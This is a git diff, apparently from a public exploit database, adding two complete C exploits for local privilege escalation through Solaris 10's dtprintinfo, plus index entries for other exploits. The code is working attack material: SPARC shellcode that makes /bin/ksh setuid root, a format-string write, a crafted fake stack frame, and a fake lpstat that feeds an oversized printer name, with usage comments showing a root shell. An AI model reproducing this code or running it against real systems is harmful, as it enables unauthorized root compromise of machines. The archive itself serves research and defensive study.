* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <link.h>
|
||||
#include <procfs.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/systeminfo.h>
|
||||
|
||||
#define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE"
|
||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
||||
|
||||
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
|
||||
#define BUFSIZE 3000 // size of evil env var
|
||||
#define BUFSIZE2 10000 // size of padding buf
|
||||
#define STACKPOPSEQ "%.8x" // stackpop sequence
|
||||
#define STACKPOPS 383 // number of stackpops
|
||||
|
||||
/* default retloc is .plt/strlen in libc */
|
||||
#define LIBCBASE 0xfe800000 // base address of libc
|
||||
#define STRLEN 0x0014369c // .plt/strlen offset
|
||||
|
||||
/* calculate numeric arguments for write string */
|
||||
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
|
||||
N1 = (B4 - BASE) % 0x100; \
|
||||
N2 = (B2 - BASE - N1) % 0x100; \
|
||||
N3 = (B1 - BASE - N1 - N2) % 0x100; \
|
||||
N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
|
||||
BASE += N1 + N2 + N3 + N4; \
|
||||
}
|
||||
|
||||
char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */
|
||||
/* chmod("./me", 037777777777) */
|
||||
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
|
||||
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
|
||||
"\x20\xbf\xff\xff" /* bn,a <sc> */
|
||||
"\x7f\xff\xff\xff" /* call <sc + 4> */
|
||||
"\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */
|
||||
"\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */
|
||||
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
"./me";
|
||||
|
||||
/* globals */
|
||||
char *arg[2] = {"foo", NULL};
|
||||
char *env[256];
|
||||
int env_pos = 0, env_len = 0;
|
||||
|
||||
/* prototypes */
|
||||
int add_env(char *string);
|
||||
void check_zero(int addr, char *pattern);
|
||||
|
||||
/*
|
||||
* main()
|
||||
*/
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
|
||||
char platform[256], release[256], display[256];
|
||||
int retloc = LIBCBASE + STRLEN;
|
||||
|
||||
int i, stackpops = STACKPOPS;
|
||||
unsigned base, n[strlen(sc)]; /* must be unsigned */
|
||||
|
||||
/* lpstat code to add a fake printer */
|
||||
if (!strcmp(argv[0], "lpstat")) {
|
||||
|
||||
/* check command line */
|
||||
if (argc != 2)
|
||||
exit(1);
|
||||
|
||||
/* print the expected output and exit */
|
||||
if(!strcmp(argv[1], "-v")) {
|
||||
fprintf(stderr, "lpstat called with -v\n");
|
||||
printf("device for fnord: /dev/null\n");
|
||||
} else {
|
||||
fprintf(stderr, "lpstat called with -d\n");
|
||||
printf("system default destination: fnord\n");
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* print exploit information */
|
||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
||||
|
||||
/* process command line */
|
||||
if (argc < 2) {
|
||||
fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
||||
if (argc > 2)
|
||||
retloc = (int)strtoul(argv[2], (char **)NULL, 0);
|
||||
|
||||
/* evil env var: name + shellcode + padding */
|
||||
bzero(buf, sizeof(buf));
|
||||
memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
|
||||
p += strlen("REQ_DIR=");
|
||||
|
||||
/* padding buffer to avoid stack overflow */
|
||||
memset(buf2, 'B', sizeof(buf2));
|
||||
buf2[sizeof(buf2) - 1] = 0x0;
|
||||
|
||||
/* fill the envp, keeping padding */
|
||||
add_env(buf2);
|
||||
add_env(buf);
|
||||
add_env(display);
|
||||
add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */
|
||||
add_env("PATH=.:/usr/bin");
|
||||
add_env("HOME=/tmp");
|
||||
add_env(NULL);
|
||||
|
||||
/* format string: retloc */
|
||||
for (i = retloc; i - retloc < strlen(sc); i += 4) {
|
||||
check_zero(i, "ret location");
|
||||
*((void **)p) = (void *)(i); p += 4; /* 0x000000ff */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i); p += 4; /* 0xff000000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
}
|
||||
|
||||
/* format string: stackpop sequence */
|
||||
base = p - buf - strlen("REQ_DIR=");
|
||||
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
|
||||
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
|
||||
|
||||
/* calculate numeric arguments */
|
||||
for (i = 0; i < strlen(sc); i += 4)
|
||||
CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base);
|
||||
|
||||
/* check for potentially dangerous numeric arguments below 10 */
|
||||
for (i = 0; i < strlen(sc); i++)
|
||||
n[i] += (n[i] < 10) ? (0x100) : (0);
|
||||
|
||||
/* format string: write string */
|
||||
for (i = 0; i < strlen(sc); i += 4)
|
||||
p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]);
|
||||
|
||||
/* setup the directory structure and the symlink to /bin/ksh */
|
||||
unlink("/tmp/just/chmod/me");
|
||||
rmdir("/tmp/just/chmod");
|
||||
rmdir("/tmp/just");
|
||||
mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
symlink("/bin/ksh", "/tmp/just/chmod/me");
|
||||
|
||||
/* create a symlink for the fake lpstat */
|
||||
unlink("lpstat");
|
||||
symlink(argv[0], "lpstat");
|
||||
|
||||
/* print some output */
|
||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
||||
fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc);
|
||||
fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n");
|
||||
|
||||
/* run the vulnerable program */
|
||||
execve(VULN, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* add_env(): add a variable to envp and pad if needed
|
||||
*/
|
||||
int add_env(char *string)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* null termination */
|
||||
if (!string) {
|
||||
env[env_pos] = NULL;
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/* add the variable to envp */
|
||||
env[env_pos] = string;
|
||||
env_len += strlen(string) + 1;
|
||||
env_pos++;
|
||||
|
||||
/* pad the envp using zeroes */
|
||||
if ((strlen(string) + 1) % 4)
|
||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
||||
env[env_pos] = string + strlen(string);
|
||||
env_len++;
|
||||
}
|
||||
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/*
|
||||
* check_zero(): check an address for the presence of a 0x00
|
||||
*/
|
||||
void check_zero(int addr, char *pattern)
|
||||
{
|
||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
||||
!(addr & 0xff000000)) {
|
||||
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
|
||||
exit(1);
|
||||
}
|
||||
}
|
437
exploits/solaris/local/49518.c
Normal file
437
exploits/solaris/local/49518.c
Normal file
|
@ -0,0 +1,437 @@
|
|||
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)
|
||||
# Date: 2021-02-01
|
||||
# Exploit Author: Marco Ivaldi
|
||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
||||
# Version: Solaris 10
|
||||
# Tested on: Solaris 10 1/13 SPARC
|
||||
|
||||
/*
|
||||
* raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC
|
||||
* Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
|
||||
* local root. Many thanks to Dave Aitel for discovering this vulnerability
|
||||
* and for his interesting research activities on Solaris/SPARC.
|
||||
*
|
||||
* "None of my dtprintinfo work is public, other than that 0day pack being
|
||||
* leaked to all hell and back. It should all basically still work. Let's
|
||||
* keep it that way, cool? :>" -- Dave Aitel
|
||||
*
|
||||
* This is a revised version of my original exploit that should work on
|
||||
* modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain
|
||||
* the needed addresses that's hopefully universal (goodbye VOODOO macros!).
|
||||
* and I had to work around some annoying crashes, which led me to write
|
||||
* a custom shellcode that makes /bin/ksh setuid. Crude but effective;)
|
||||
* If you feel brave, you can also try my experimental exec shellcode, for
|
||||
* SPARC V8 plus and above architectures only ("It works on my computer!").
|
||||
*
|
||||
* I'm developing my exploits on a Solaris 10 Branded Zone and I strongly
|
||||
* suspect this is the reason for the weird behavior in the execution of
|
||||
* standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1,
|
||||
* in the strncmp() function called by brand_uucopystr(). If that's indeed
|
||||
* the case, any shellcode (including lsd-pl.net's classic shellcode) should
|
||||
* work on physical systems and I just spent a non-neglibible amount of time
|
||||
* debugging this for no valid reason but my love of hacking... Oh well!
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall
|
||||
* [on your xserver: disable the access control]
|
||||
* $ ./raptor_dtprintname_sparc3 10.0.0.122:0
|
||||
* [...]
|
||||
* $ ls -l /bin/ksh
|
||||
* -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
|
||||
* $ /bin/ksh
|
||||
* # id
|
||||
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
|
||||
* #
|
||||
*
|
||||
* Tested on:
|
||||
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13)
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <link.h>
|
||||
#include <procfs.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/systeminfo.h>
|
||||
|
||||
#define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC"
|
||||
#define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
||||
|
||||
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
|
||||
#define BUFSIZE 301 // size of the printer name
|
||||
#define FFSIZE 64 + 1 // size of the fake frame
|
||||
#define DUMMY 0xdeadbeef // dummy memory address
|
||||
|
||||
//#define USE_EXEC_SC // uncomment to use exec shellcode
|
||||
|
||||
#ifdef USE_EXEC_SC
|
||||
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
|
||||
/* setuid(0) */
|
||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
/* execve("/bin/ksh", argv, NULL) */
|
||||
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
|
||||
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
|
||||
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
|
||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
||||
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
|
||||
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
|
||||
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
|
||||
"\x41\x41\x41\x41" /* placeholder */
|
||||
"/bin/ksh";
|
||||
#else
|
||||
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
|
||||
/* setuid(0) */
|
||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
/* chmod("/bin/ksh", 037777777777) */
|
||||
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
|
||||
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
|
||||
"\x20\xbf\xff\xff" /* bn,a <sc> */
|
||||
"\x7f\xff\xff\xff" /* call <sc + 4> */
|
||||
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
|
||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
||||
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
/* exit(0) */
|
||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
||||
"\x82\x10\x20\x01" /* mov 1, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
"/bin/ksh";
|
||||
#endif /* USE_EXEC_SC */
|
||||
|
||||
/* globals */
|
||||
char *arg[2] = {"foo", NULL};
|
||||
char *env[256];
|
||||
int env_pos = 0, env_len = 0;
|
||||
|
||||
/* prototypes */
|
||||
int add_env(char *string);
|
||||
void check_zero(int addr, char *pattern);
|
||||
int get_ff_addr(char *path, char **argv);
|
||||
int search_ldso(char *sym);
|
||||
int search_rwx_mem(void);
|
||||
void set_val(char *buf, int pos, int val);
|
||||
|
||||
/*
|
||||
* main()
|
||||
*/
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
|
||||
char platform[256], release[256], display[256];
|
||||
int i, ff_addr, sc_addr, ret_pos, fpt_pos;
|
||||
|
||||
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
|
||||
int ret = search_ldso("sprintf");
|
||||
int rwx_mem = search_rwx_mem() + 24; /* stable address */
|
||||
|
||||
/* fake lpstat code */
|
||||
if (!strcmp(argv[0], "lpstat")) {
|
||||
|
||||
/* check command line */
|
||||
if (argc != 2)
|
||||
exit(1);
|
||||
|
||||
/* get ret and fake frame addresses from environment */
|
||||
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
|
||||
ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
|
||||
|
||||
/* prepare the evil printer name */
|
||||
memset(buf, 'A', sizeof(buf));
|
||||
buf[sizeof(buf) - 1] = 0x0;
|
||||
|
||||
/* fill with return and fake frame addresses */
|
||||
for (i = 0; i < BUFSIZE; i += 4) {
|
||||
/* apparently, we don't need to bruteforce */
|
||||
set_val(buf, i, ret - 4);
|
||||
set_val(buf, i += 4, ff_addr);
|
||||
}
|
||||
|
||||
/* print the expected output and exit */
|
||||
if(!strcmp(argv[1], "-v")) {
|
||||
fprintf(stderr, "lpstat called with -v\n");
|
||||
printf("device for %s: /dev/null\n", buf);
|
||||
} else {
|
||||
fprintf(stderr, "lpstat called with -d\n");
|
||||
printf("system default destination: %s\n", buf);
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* helper program that prints argv[0] address, used by get_ff_addr() */
|
||||
if (!strcmp(argv[0], "foo")) {
|
||||
printf("0x%p\n", argv[0]);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* print exploit information */
|
||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
||||
|
||||
/* process command line */
|
||||
if (argc != 2) {
|
||||
#ifdef USE_EXEC_SC
|
||||
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
|
||||
#else
|
||||
fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]);
|
||||
#endif /* USE_EXEC_SC */
|
||||
exit(1);
|
||||
}
|
||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
||||
|
||||
/* prepare the fake frame */
|
||||
bzero(ff, sizeof(ff));
|
||||
for (i = 0; i < 64; i += 4) {
|
||||
set_val(ff, i, DUMMY);
|
||||
}
|
||||
|
||||
/* fill the envp, keeping padding */
|
||||
sc_addr = add_env(ff);
|
||||
add_env(sc);
|
||||
ret_pos = env_pos;
|
||||
add_env("RET=0x41414141"); /* placeholder */
|
||||
fpt_pos = env_pos;
|
||||
add_env("FPT=0x42424242"); /* placeholder */
|
||||
add_env(display);
|
||||
add_env("PATH=.:/usr/bin");
|
||||
add_env("HOME=/tmp");
|
||||
add_env(NULL);
|
||||
|
||||
/* calculate the needed addresses */
|
||||
ff_addr = get_ff_addr(VULN, argv);
|
||||
sc_addr += ff_addr;
|
||||
|
||||
/*
|
||||
* populate saved %l registers
|
||||
*/
|
||||
set_val(ff, i = 0, ff_addr + 56); /* %l0 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %l1 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %l2 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %l3 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %l4 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %l5 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %l6 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %l7 */
|
||||
|
||||
/*
|
||||
* populate saved %i registers
|
||||
*/
|
||||
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */
|
||||
set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %i2 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %i3 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %i4 */
|
||||
set_val(ff, i += 4, ff_addr + 56); /* %i5 */
|
||||
set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */
|
||||
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
|
||||
|
||||
#ifdef USE_EXEC_SC
|
||||
set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */
|
||||
#endif /* USE_EXEC_SC */
|
||||
|
||||
/* overwrite RET and FPT env vars with the correct addresses */
|
||||
sprintf(ret_var, "RET=0x%x", ret);
|
||||
env[ret_pos] = ret_var;
|
||||
sprintf(fpt_var, "FPT=0x%x", ff_addr);
|
||||
env[fpt_pos] = fpt_var;
|
||||
|
||||
/* create a symlink for the fake lpstat */
|
||||
unlink("lpstat");
|
||||
symlink(argv[0], "lpstat");
|
||||
|
||||
/* print some output */
|
||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
||||
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
|
||||
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
|
||||
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
|
||||
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
|
||||
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
|
||||
|
||||
/* check for null bytes (add some padding to env if needed) */
|
||||
check_zero(ff_addr, "ff address");
|
||||
check_zero(sc_addr, "sc address");
|
||||
|
||||
/* run the vulnerable program */
|
||||
execve(VULN, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* add_env(): add a variable to envp and pad if needed
|
||||
*/
|
||||
int add_env(char *string)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* null termination */
|
||||
if (!string) {
|
||||
env[env_pos] = NULL;
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/* add the variable to envp */
|
||||
env[env_pos] = string;
|
||||
env_len += strlen(string) + 1;
|
||||
env_pos++;
|
||||
|
||||
/* pad the envp using zeroes */
|
||||
if ((strlen(string) + 1) % 4)
|
||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
||||
env[env_pos] = string + strlen(string);
|
||||
env_len++;
|
||||
}
|
||||
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/*
|
||||
* check_zero(): check an address for the presence of a 0x00
|
||||
*/
|
||||
void check_zero(int addr, char *pattern)
|
||||
{
|
||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
||||
!(addr & 0xff000000)) {
|
||||
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* get_ff_addr(): get fake frame address using a helper program
|
||||
*/
|
||||
int get_ff_addr(char *path, char **argv)
|
||||
{
|
||||
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||
char hex[11] = "\x00";
|
||||
int fd[2], addr;
|
||||
|
||||
/* truncate program name at correct length and create a hard link */
|
||||
prog[strlen(path)] = 0x0;
|
||||
unlink(prog);
|
||||
link(argv[0], prog);
|
||||
|
||||
/* open pipe to read program output */
|
||||
if (pipe(fd) < 0) {
|
||||
perror("pipe");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch(fork()) {
|
||||
|
||||
case -1: /* cannot fork */
|
||||
perror("fork");
|
||||
exit(1);
|
||||
|
||||
case 0: /* child */
|
||||
dup2(fd[1], 1);
|
||||
close(fd[0]);
|
||||
close(fd[1]);
|
||||
execve(prog, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
|
||||
default: /* parent */
|
||||
close(fd[1]);
|
||||
read(fd[0], hex, sizeof(hex));
|
||||
break;
|
||||
}
|
||||
|
||||
/* check and return address */
|
||||
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
|
||||
fprintf(stderr, "error: cannot read ff address from helper program\n");
|
||||
exit(1);
|
||||
}
|
||||
return addr + 4;
|
||||
}
|
||||
|
||||
/*
|
||||
* search_ldso(): search for a symbol inside ld.so.1
|
||||
*/
|
||||
int search_ldso(char *sym)
|
||||
{
|
||||
int addr;
|
||||
void *handle;
|
||||
Link_map *lm;
|
||||
|
||||
/* open the executable object file */
|
||||
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
|
||||
perror("dlopen");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* get dynamic load information */
|
||||
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
|
||||
perror("dlinfo");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* search for the address of the symbol */
|
||||
if ((addr = (int)dlsym(handle, sym)) == NULL) {
|
||||
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* close the executable object file */
|
||||
dlclose(handle);
|
||||
|
||||
check_zero(addr - 4, sym);
|
||||
return addr;
|
||||
}
|
||||
|
||||
/*
|
||||
* search_rwx_mem(): search for an RWX memory segment valid for all
|
||||
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
|
||||
*/
|
||||
int search_rwx_mem(void)
|
||||
{
|
||||
int fd;
|
||||
char tmp[16];
|
||||
prmap_t map;
|
||||
int addr = 0, addr_old;
|
||||
|
||||
/* open the proc filesystem */
|
||||
sprintf(tmp,"/proc/%d/map", (int)getpid());
|
||||
if ((fd = open(tmp, O_RDONLY)) < 0) {
|
||||
fprintf(stderr, "error: can't open %s\n", tmp);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* search for the last RWX memory segment before stack (last - 1) */
|
||||
while (read(fd, &map, sizeof(map)))
|
||||
if (map.pr_vaddr)
|
||||
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
|
||||
addr_old = addr;
|
||||
addr = map.pr_vaddr;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
/* add 4 to the exact address null bytes */
|
||||
if (!(addr_old & 0xff))
|
||||
addr_old |= 0x04;
|
||||
if (!(addr_old & 0xff00))
|
||||
addr_old |= 0x0400;
|
||||
|
||||
return addr_old;
|
||||
}
|
||||
|
||||
/*
|
||||
* set_val(): copy a dword inside a buffer
|
||||
*/
|
||||
void set_val(char *buf, int pos, int val)
|
||||
{
|
||||
buf[pos] = (val & 0xff000000) >> 24;
|
||||
buf[pos + 1] = (val & 0x00ff0000) >> 16;
|
||||
buf[pos + 2] = (val & 0x0000ff00) >> 8;
|
||||
buf[pos + 3] = (val & 0x000000ff);
|
||||
}
|
|
@ -10866,7 +10866,7 @@ id,file,description,date,author,type,platform,port
|
|||
46851,exploits/windows/local/46851.txt,"VMware Workstation 15.1.0 - DLL Hijacking",2019-05-16,"Miguel Mendez Z. & Claudio Cortes C.",local,windows,
|
||||
46854,exploits/windows/local/46854.py,"JetAudio jetCast Server 2.0 - 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow",2019-05-16,"Connor McGarr",local,windows,
|
||||
46866,exploits/windows/local/46866.c,"Huawei eSpace 1.1.11.103 - DLL Hijacking",2019-05-20,LiquidWorm,local,windows,
|
||||
46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation",2019-05-20,"Marco Ivaldi",local,solaris,
|
||||
46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris,
|
||||
46878,exploits/solaris/local/46878.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris,
|
||||
46879,exploits/solaris/local/46879.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2019-05-20,"Marco Ivaldi",local,solaris,
|
||||
47147,exploits/linux/local/47147.txt,"Docker - Container Escape",2019-07-19,dominikczarnotatob,local,linux,
|
||||
|
@ -11247,6 +11247,11 @@ id,file,description,date,author,type,platform,port
|
|||
49409,exploits/windows/local/49409.py,"PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval",2021-01-11,rootabeta,local,windows,
|
||||
49453,exploits/windows/local/49453.txt,"Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation",2021-01-22,LiquidWorm,local,windows,
|
||||
49491,exploits/multiple/local/49491.py,"Metasploit Framework 6.0.11 - msfvenom APK template command injection",2021-01-28,"Justin Steven",local,multiple,
|
||||
49514,exploits/solaris/local/49514.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris,
|
||||
49515,exploits/solaris/local/49515.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris,
|
||||
49516,exploits/solaris/local/49516.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2021-02-02,"Marco Ivaldi",local,solaris,
|
||||
49517,exploits/solaris/local/49517.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris,
|
||||
49518,exploits/solaris/local/49518.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -43704,3 +43709,4 @@ id,file,description,date,author,type,platform,port
|
|||
49510,exploits/php/webapps/49510.py,"Roundcube Webmail 1.2 - File Disclosure",2021-02-01,stonepresto,webapps,php,
|
||||
49511,exploits/php/webapps/49511.py,"Klog Server 2.4.1 - Command Injection (Authenticated)",2021-02-01,"Metin Yunus Kandemir",webapps,php,
|
||||
49512,exploits/php/webapps/49512.py,"WordPress 5.0.0 - Image Remote Code Execution",2021-02-01,"OUSSAMA RAHALI",webapps,php,
|
||||
49513,exploits/php/webapps/49513.txt,"Student Record System 4.0 - 'cid' SQL Injection",2021-02-02,"Jannick Tiger",webapps,php,
|
||||
|
|
